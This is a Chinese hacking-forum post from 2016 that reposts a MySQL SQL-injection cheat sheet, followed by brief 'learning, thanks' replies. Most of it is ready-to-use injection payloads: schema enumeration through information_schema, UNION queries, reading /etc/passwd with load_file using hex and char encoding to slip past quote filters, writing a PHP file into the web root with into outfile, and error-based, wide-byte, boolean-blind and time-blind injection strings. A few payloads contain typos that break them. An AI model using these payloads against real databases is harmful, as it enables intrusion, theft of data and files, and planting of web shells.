搜索
查看: 990|回复: 6

MySQL注入总结

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2016-6-3 15:22:39 | 显示全部楼层 |阅读模式
本帖最后由 Jumbo 于 2016-6-3 15:24 编辑

转载备份

1、Mysql中的注释符

  1.      #:注释从#字符到行尾,记得url编码
  2.      –:注释从–序列到行尾,后面需要跟上一个或多个空格,tab也可以
  3.      /* */:注释中间的字符
复制代码



2、获取元数据

  1. select schema_name from information_schema.schemata limit 0,1  #查询数据库
  2. select table_name from information_schema.tables where table_schema=database() limit 0,1;  #查询表
  3. select table_name from information_schema.tables where table_schema='bloodzer0' limit 0,1;
  4. select table_name from information_schema.tables where table_schema=(select database()) limit 0,1;
  5. select column_name from information_schema.columns where table_name='users' limit 0,1;  #查询列
复制代码
3、union查询

  1. select id,username from users union select 1,2;     #mysql执行:语句正常;mssql执行:语句错误,数据类型不匹配,无法正常执行
  2. select id,username from users union select 1,2 from dual;   #oracle执行:语句错误,数据类型不匹配
复制代码
4、MySQL函数利用
  • load_file()
  1. select * from users union select 1,load_file('/etc/passwd'),3;
  2. select * from users union select 1,load_file(0x2F6574632F706173737764),3;  #使用16进制绕过单引号限制
  3. select * from users union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),3;
  4. select * from users union select 1,hex(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),3;
复制代码
  • into outfile
  1. select '<?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
  2. select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';
复制代码


  • 连接字符串
     concat()函数


  1. select username from users where id=1 union select concat(user(),',',database(),',',version());
复制代码
     concat_ws()函数
  1. select username from users where id=1 union select concat_ws(0x2c,user(),database(),version());
复制代码

  1. length                 返回字符串长度
  2. substring            截取字符串长度
  3. acsii                   返回ascii编码
  4. hex                    把字符串转换为16进制
  5. now                   当前系统时间
  6. unhex                hex的反向操作
  7. floor(x)              返回不大于x的最大正整数
  8. md5                  返回md5值
  9. group_concat   返回带有来自一个组的连接的非NULL值的字符串结果
  10. @@datadir      数据目录
  11. @@basedir     mysql安装目录
  12. @@version_compile_os     操作系统
复制代码
5、报错注入
  • 通过updatexml函数,执行sql语句
  1. select username,password from users where id=1 and updatexml(1,concat(0x7c,(select user())),1);
复制代码

  • 通过extractvalue函数,执行sql语句
  1. select * from users where id=1 and extractvalue(1,concat(0x7c,(select user())));
复制代码

  • 通过floor函数,执行sql语句
  1. select username,password from users where id=1 union select * from (select count(*),concat(floor(rand()*2),(select user())) a from information_schema.tables group by a)b;
复制代码

6、宽字节注入
     由于编码不统一所造成的,一般只出现在php+mysql中。网页编码是gbk
     由%d5或%df绕过:



7、MySQL长字符截取
     在mysql中有一个设置是sql_mode选项,当sql_mode设置为default时,没有开启strict_all_tables选项,对于插入超长的值只会提示warning,而不是error;特定的mysql版本mysql5.1中


my.ini文件


8、延时注入




  1. select * from users where id=1 and if(length(user())=14,sleep(3),1);
  2. select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);
复制代码
注入语句总结

  1. 常规注入:
  2.     1' order by num --+             判断字段长度
  3.     1' union select 1,2,3 --+        确认字段数
  4.     1' and 1=2 union select 1,2,3 --+    判断出错的字段位置 或者使用错误的id值-1或不存在的id
  5.     1' and 1=2 union select version(),database(),user(),current_user,@@datadir,@basedir --+
  6.     1' and 1=2 union select 1,table_schema,3 from information_schema.SCHEMATA --+
  7.     1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="db_name"/database()/16进制 limit 0,1 --+
  8.     1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name="table_name" limit 0,1 --+
  9.     1' and 1=2 union select 1,group_conct(table_name) from information_schema.tables where table_schema=database() --+
  10.     -1' union select 1,2,3 AND '1'='1     不适用注释符
复制代码
  1. 双查询注入
  2.     select database();
  3.     select (select database());
  4.     select concat((select database()));
  5.     select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
  6.     select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a;
  7.     select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
  8.     select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
  9.     select count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
  10.     select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;

  11.     1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

  12. BOOL盲注:
  13.     1' AND (ascii(substr((select database()),1,1))) = 99 --+
  14.     1' AND (ascii(substr((select table_name from information_schema.tables limit 0,1),1,1)))>100 --+

  15. TIME盲注:
  16.     1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) --+

  17. Dump file:
  18.     select * from table_name into outfile "/tmp/test.txt";
  19.     select * from table_name into dumpfile "/tmp/test.txt";
  20.     select load_file("/tmp/test.txt");  
复制代码
附件:
      [url=https://yunpan.cn/cSHFYExc5x2Ea]https://yunpan.cn/cSHFYExc5x2Ea
(提取码:656b)




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...

0

主题

5

帖子

29

积分

我是新手

Rank: 1

积分
29
发表于 2016-6-15 10:14:12 | 显示全部楼层
新人刚到,学习一下

0

主题

2

帖子

20

积分

我是新手

Rank: 1

积分
20
发表于 2016-7-11 16:49:44 | 显示全部楼层
新人刚到,学习一下

3

主题

31

帖子

130

积分

我是新手

Rank: 1

积分
130
发表于 2016-7-12 21:32:52 | 显示全部楼层
学习一下,感谢撸主
modau.pw
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表